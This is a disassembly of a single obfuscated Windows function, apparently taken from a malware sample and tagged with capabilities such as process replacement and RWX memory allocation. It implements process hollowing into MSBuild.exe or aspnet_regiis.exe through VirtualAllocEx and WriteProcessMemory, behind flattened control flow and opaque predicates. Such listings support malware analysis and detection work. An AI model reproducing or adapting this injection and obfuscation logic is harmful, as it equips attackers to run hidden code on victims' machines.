Function at 0x100066e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x158
mov eax, dword [0x1006c800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x160], 0x319d17b6
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x164], eax
sub eax, 0x8047a4ce
je 0x1000dc6f
jmp 0x1000671c
mov eax, dword [ebp - 0x164]
sub eax, 0x80d475ff
je 0x1000dc04
jmp 0x10006732
mov eax, dword [ebp - 0x164]
sub eax, 0x80f7b875
je 0x1000e7ff
jmp 0x10006748
mov eax, dword [ebp - 0x164]
sub eax, 0x813343ae
je 0x1000e6f4
jmp 0x1000675e
mov eax, dword [ebp - 0x164]
sub eax, 0x815bd874
je 0x1000e565
jmp 0x10006774
mov eax, dword [ebp - 0x164]
sub eax, 0x81a78945
je 0x1000e9ba
jmp 0x1000678a
mov eax, dword [ebp - 0x164]
sub eax, 0x81d5d54b
je 0x1000b4c6
jmp 0x100067a0
mov eax, dword [ebp - 0x164]
sub eax, 0x81f868c3
je 0x1000930a
jmp 0x100067b6
mov eax, dword [ebp - 0x164]
sub eax, 0x8282a2c2
je 0x1000b98c
jmp 0x100067cc
mov eax, dword [ebp - 0x164]
sub eax, 0x83eb6d59
je 0x1000d60f
jmp 0x100067e2
mov eax, dword [ebp - 0x164]
sub eax, 0x84d9b8e2
je 0x1000d819
jmp 0x100067f8
mov eax, dword [ebp - 0x164]
sub eax, 0x854fdbc0
je 0x1000ca24
jmp 0x1000680e
mov eax, dword [ebp - 0x164]
sub eax, 0x8582d073
je 0x1000d374
jmp 0x10006824
mov eax, dword [ebp - 0x164]
sub eax, 0x864fc202
je 0x1000b1eb
jmp 0x1000683a
mov eax, dword [ebp - 0x164]
sub eax, 0x866c8021
je 0x1000e9a0
jmp 0x10006850
mov eax, dword [ebp - 0x164]
sub eax, 0x86a65419
je 0x10008e05
jmp 0x10006866
mov eax, dword [ebp - 0x164]
sub eax, 0x8759891a
je 0x1000d7e1
jmp 0x1000687c
mov eax, dword [ebp - 0x164]
sub eax, 0x8775122c
je 0x1000bec6
jmp 0x10006892
mov eax, dword [ebp - 0x164]
sub eax, 0x88741b00
je 0x1000b841
jmp 0x100068a8
mov eax, dword [ebp - 0x164]
sub eax, 0x893f0988
je 0x1000c710
jmp 0x100068be
mov eax, dword [ebp - 0x164]
sub eax, 0x89a4753d
je 0x1000b4a7
jmp 0x100068d4
mov eax, dword [ebp - 0x164]
sub eax, 0x8a78c858
je 0x1000d1d4
jmp 0x100068ea
mov eax, dword [ebp - 0x164]
sub eax, 0x8ac451cf
je 0x1000b3d7
jmp 0x10006900
mov eax, dword [ebp - 0x164]
sub eax, 0x8b98c22b
je 0x1000b3aa
jmp 0x10006916
mov eax, dword [ebp - 0x164]
sub eax, 0x8cd1e148
je 0x1000c8cb
jmp 0x1000692c
mov eax, dword [ebp - 0x164]
sub eax, 0x8de73eaa
je 0x1000a584
jmp 0x10006942
mov eax, dword [ebp - 0x164]
sub eax, 0x8e5c7bab
je 0x1000bf4b
jmp 0x10006958
mov eax, dword [ebp - 0x164]
sub eax, 0x8e98e3c7
je 0x1000cfe1
jmp 0x1000696e
mov eax, dword [ebp - 0x164]
sub eax, 0x9073a053
je 0x10009af5
jmp 0x10006984
mov eax, dword [ebp - 0x164]
sub eax, 0x9104a94d
je 0x10009058
jmp 0x1000699a
mov eax, dword [ebp - 0x164]
sub eax, 0x9106e0aa
je 0x1000a173
jmp 0x100069b0
mov eax, dword [ebp - 0x164]
sub eax, 0x91dd353c
je 0x1000b60d
jmp 0x100069c6
mov eax, dword [ebp - 0x164]
sub eax, 0x91f82c6c
je 0x1000d030
jmp 0x100069dc
mov eax, dword [ebp - 0x164]
sub eax, 0x9592e868
je 0x1000c1b6
jmp 0x100069f2
mov eax, dword [ebp - 0x164]
sub eax, 0x95b7d491
je 0x1000e61f
jmp 0x10006a08
mov eax, dword [ebp - 0x164]
sub eax, 0x9644167d
je 0x1000adc6
jmp 0x10006a1e
mov eax, dword [ebp - 0x164]
sub eax, 0x9652966c
je 0x10009893
jmp 0x10006a34
mov eax, dword [ebp - 0x164]
sub eax, 0x99c83549
je 0x1000e703
jmp 0x10006a4a
mov eax, dword [ebp - 0x164]
sub eax, 0x99e3d86b
je 0x1000c939
jmp 0x10006a60
mov eax, dword [ebp - 0x164]
sub eax, 0x9a8a085e
je 0x10009b12
jmp 0x10006a76
mov eax, dword [ebp - 0x164]
sub eax, 0x9b67e314
je 0x1000e470
jmp 0x10006a8c
mov eax, dword [ebp - 0x164]
sub eax, 0x9bc8d550
je 0x1000b95d
jmp 0x10006aa2
mov eax, dword [ebp - 0x164]
sub eax, 0x9be74b2a
je 0x1000a6c0
jmp 0x10006ab8
mov eax, dword [ebp - 0x164]
sub eax, 0x9ceb2374
je 0x10009e46
jmp 0x10006ace
mov eax, dword [ebp - 0x164]
sub eax, 0x9cee4891
je 0x1000976a
jmp 0x10006ae4
mov eax, dword [ebp - 0x164]
sub eax, 0x9d467ce1
je 0x10009efe
jmp 0x10006afa
mov eax, dword [ebp - 0x164]
sub eax, 0x9d51fd71
je 0x1000c382
jmp 0x10006b10
mov eax, dword [ebp - 0x164]
sub eax, 0x9ec0cce3
je 0x1000cd7d
jmp 0x10006b26
mov eax, dword [ebp - 0x164]
sub eax, 0xa005c51f
je 0x10008db4
jmp 0x10006b3c
mov eax, dword [ebp - 0x164]
sub eax, 0xa011dc72
je 0x10009523
jmp 0x10006b52
mov eax, dword [ebp - 0x164]
sub eax, 0xa0a62ce6
je 0x1000aaa3
jmp 0x10006b68
mov eax, dword [ebp - 0x164]
sub eax, 0xa1a1e1ef
je 0x1000a10d
jmp 0x10006b7e
mov eax, dword [ebp - 0x164]
sub eax, 0xa3338d7d
je 0x1000b0e2
jmp 0x10006b94
mov eax, dword [ebp - 0x164]
sub eax, 0xa3b1cb74
je 0x1000c477
jmp 0x10006baa
mov eax, dword [ebp - 0x164]
sub eax, 0xa4b8f44a
je 0x1000c5f6
jmp 0x10006bc0
mov eax, dword [ebp - 0x164]
sub eax, 0xa5949b17
je 0x1000b87f
jmp 0x10006bd6
mov eax, dword [ebp - 0x164]
sub eax, 0xa5af7416
je 0x1000da02
jmp 0x10006bec
mov eax, dword [ebp - 0x164]
sub eax, 0xa5b30aff
je 0x1000c52d
jmp 0x10006c02
mov eax, dword [ebp - 0x164]
sub eax, 0xa6b9eaf2
je 0x1000c1f2
jmp 0x10006c18
mov eax, dword [ebp - 0x164]
sub eax, 0xa80e29c6
je 0x1000d3f9
jmp 0x10006c2e
mov eax, dword [ebp - 0x164]
sub eax, 0xa89b8034
je 0x1000e0c0
jmp 0x10006c44
mov eax, dword [ebp - 0x164]
sub eax, 0xa9d96197
je 0x100094e5
jmp 0x10006c5a
mov eax, dword [ebp - 0x164]
sub eax, 0xaa29d341
je 0x1000e31b
jmp 0x10006c70
mov eax, dword [ebp - 0x164]
sub eax, 0xab0c48d3
je 0x10008d44
jmp 0x10006c86
mov eax, dword [ebp - 0x164]
sub eax, 0xab1a3154
je 0x1000d568
movss xmm0, dword [0x1001c234]
movss dword [ebp - 0xf8], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x443cfceb
sub edx, 1
add edx, 0x443cfceb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa89b8034
mov ecx, 0xf070d0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x3abf0f14
sub edx, 1
add edx, 0x3abf0f14
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa1bf376
mov ecx, 0x86a65419
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c230]
movss dword [ebp - 0xf8], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x39e4eac5
sub edx, 1
add edx, 0x39e4eac5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfa1bf376
mov ecx, 0x5ed9e9df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c228]
movss dword [ebp - 0xf8], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc951bb46
mov ecx, 0x5971f707
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
add edx, 0xa27f47fd
sub edx, 1
sub edx, 0xa27f47fd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeb17cdc2
mov ecx, 0xe689efc8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c38c]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x1001c388]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x160], 0xf6fd8a17
jmp 0x1000e9f1
movss xmm0, dword [0x1001c384]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x160], 0xd6c0a97a
jmp 0x1000e9f1
mov dl, 1
mov eax, 0xcf7cec5f
mov ecx, 0x50eb652b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
mov dword [ebp - 0x160], 0x355e075
jmp 0x1000e9f1
mov dl, 1
mov eax, 0xee3de98e
mov ecx, 0x9a8a085e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c364]
movss dword [ebp - 0xfc], xmm0
movss xmm0, dword [0x1001c360]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x160], 0x601532e5
jmp 0x1000e9f1
movss xmm0, dword [0x1001c350]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x1001c34c]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x160], 0x4db6cc8
jmp 0x1000e9f1
movss xmm0, dword [0x1001c33c]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x160], 0xd7834a74
jmp 0x1000e9f1
mov dl, 1
mov eax, 0x5d061453
mov ecx, 0x61e620fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c1f8]
movss dword [ebp - 0x100], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
add edx, 0xa0e3628a
sub edx, 1
sub edx, 0xa0e3628a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2c39cb2f
mov ecx, 0x79c27800
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x16f54ffd
sub edx, 1
add edx, 0x16f54ffd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x24093c76
mov ecx, 0x3205f241
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c1e4]
movss dword [ebp - 0x104], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2213237
mov ecx, 0x2672ea0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb34aa136
mov ecx, 0x6a3f3566
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c2f4]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x160], 0x7aa6aa54
jmp 0x1000e9f1
movss xmm0, dword [0x1001c2e8]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x160], 0xd309d897
jmp 0x1000e9f1
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x95ac717f
sub edx, 1
add edx, 0x95ac717f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4a4bee2c
mov ecx, 0xee6b2e9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c2cc]
movss dword [ebp - 0x10c], xmm0
mov dl, 1
mov eax, 0x89a4753d
mov ecx, 0x8ac451cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c2c8]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x1001c2c4]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x160], 0xca6912e2
jmp 0x1000e9f1
movss xmm0, dword [0x1001c2c0]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x160], 0x81d5d54b
jmp 0x1000e9f1
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0xb201ed70
sub edx, 1
sub edx, 0xb201ed70
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfae93604
mov ecx, 0xd325e21c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0xb5c29ed1
sub edx, 1
sub edx, 0xb5c29ed1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3017df04
mov ecx, 0xcaed4b88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c2a8]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x160], 0xda7b9cee
jmp 0x1000e9f1
movss xmm0, dword [0x1001c2a0]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x160], 0x14bbc537
jmp 0x1000e9f1
movss xmm0, dword [0x1001c29c]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x1001c298]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x160], 0x8282a2c2
jmp 0x1000e9f1
mov dword [ebp - 0x160], 0xccb56db8
jmp 0x1000e9f1
mov dl, 1
mov eax, 0x7bf82ac1
mov ecx, 0x6efcdd05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c1a8]
movss dword [ebp - 0x110], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0xa2bd5874
sub edx, 1
add edx, 0xa2bd5874
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3834ee98
mov ecx, 0x1fe58458
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c254]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x160], 0xab6c35e9
jmp 0x1000e9f1
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x23888089
sub edx, 1
add edx, 0x23888089
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x50828574
mov ecx, 0x3b952dee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
mov dword [ebp - 0x160], 0xd74d0683
jmp 0x1000e9f1
mov dl, 1
mov eax, 0xf5849ace
mov ecx, 0x7235e7a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c240]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x160], 0x4a6ccf6f
jmp 0x1000e9f1
mov dword [ebp - 0x160], 0x470c405b
jmp 0x1000e9f1
mov dword [ebp - 0x160], 0x4ed8c4d0
jmp 0x1000e9f1
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2bf6f88b
mov ecx, 0x99e3d86b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000fcf0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000fcf0
add esp, 0xc
mov eax, dword [ebp - 0x124]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x125], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x12c], eax
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x2e818b9d
sub edx, 1
add edx, 0x2e818b9d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2bf6f88b
mov ecx, 0x7676c1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x160], 0x7c08b284
jmp 0x1000e9f1
mov dword [ebp - 0x160], 0x523b3fde
jmp 0x1000e9f1
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0xe8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0xe8]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0x14
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x160], 0x91f82c6c
jmp 0x1000e9f1
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0xceaa1712
sub edx, 1
add edx, 0xceaa1712
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x80f7b875
mov ecx, 0xd556bbf3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0xe8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x160], 0x5dfd7d9b
jmp 0x1000e9f1
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x872ee415
sub edx, 1
add edx, 0x872ee415
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc2fbf0da
mov ecx, 0x34916498
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
cmp dword [ebp - 0x150], 0
setne al
and al, 1
mov byte [ebp - 0x89], al
mov dword [ebp - 0x160], 0x53fd1b48
jmp 0x1000e9f1
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x39357e03
mov ecx, 0xf02c6b05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
mov dl, byte [ebp - 0x79]
mov eax, 0xca42e802
mov ecx, 0x4a000d32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x78]
movzx eax, word [eax + ecx*2]
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0xe61859e7
mov ecx, 0x35c91a5a
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
mov dword [ebp - 0x160], 0xe35356a4
jmp 0x1000e9f1
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x6c]
mov dword [eax], ecx
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0xc4cffc4a
sub edx, 1
add edx, 0xc4cffc4a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x866c8021
mov ecx, 0xbefe614f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x409b06e6
sub edx, 1
sub edx, 0x409b06e6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x81a78945
mov ecx, 0xbab324d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e9f1
movss xmm0, dword [0x1001c234]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x160], 0xab0c48d3
jmp 0x1000e9f1
movss xmm0, dword [0x1001c1ec]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x1001c1e8]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x160], 0x1c4af8bf
jmp 0x1000e9f1
mov dword [ebp - 0x160], 0xfb349770
jmp 0x1000e9f1
movss xmm0, dword [0x1001c1ac]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x160], 0xad52839e
jmp 0x1000e9f1
movss xmm0, dword [0x1001c194]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x160], 0x5aa87147
jmp 0x1000e9f1
mov dword [ebp - 0x160], 0xb1e00a8e
jmp 0x1000e9f1
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.100060c0
add esp, 4
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x160], 0xb5a02371
jmp 0x1000e9f1
mov eax, dword [ebp - 0xa4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa8]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x15c]
mov esi, dword [ebp - 0xe8]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xac]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x124]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0xe8]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10006610
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x160], 0xd556bbf3
jmp 0x1000e9f1
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x6c]
mov dword [eax], ecx
mov dword [ebp - 0x160], 0x80d475ff
jmp 0x1000e9f1
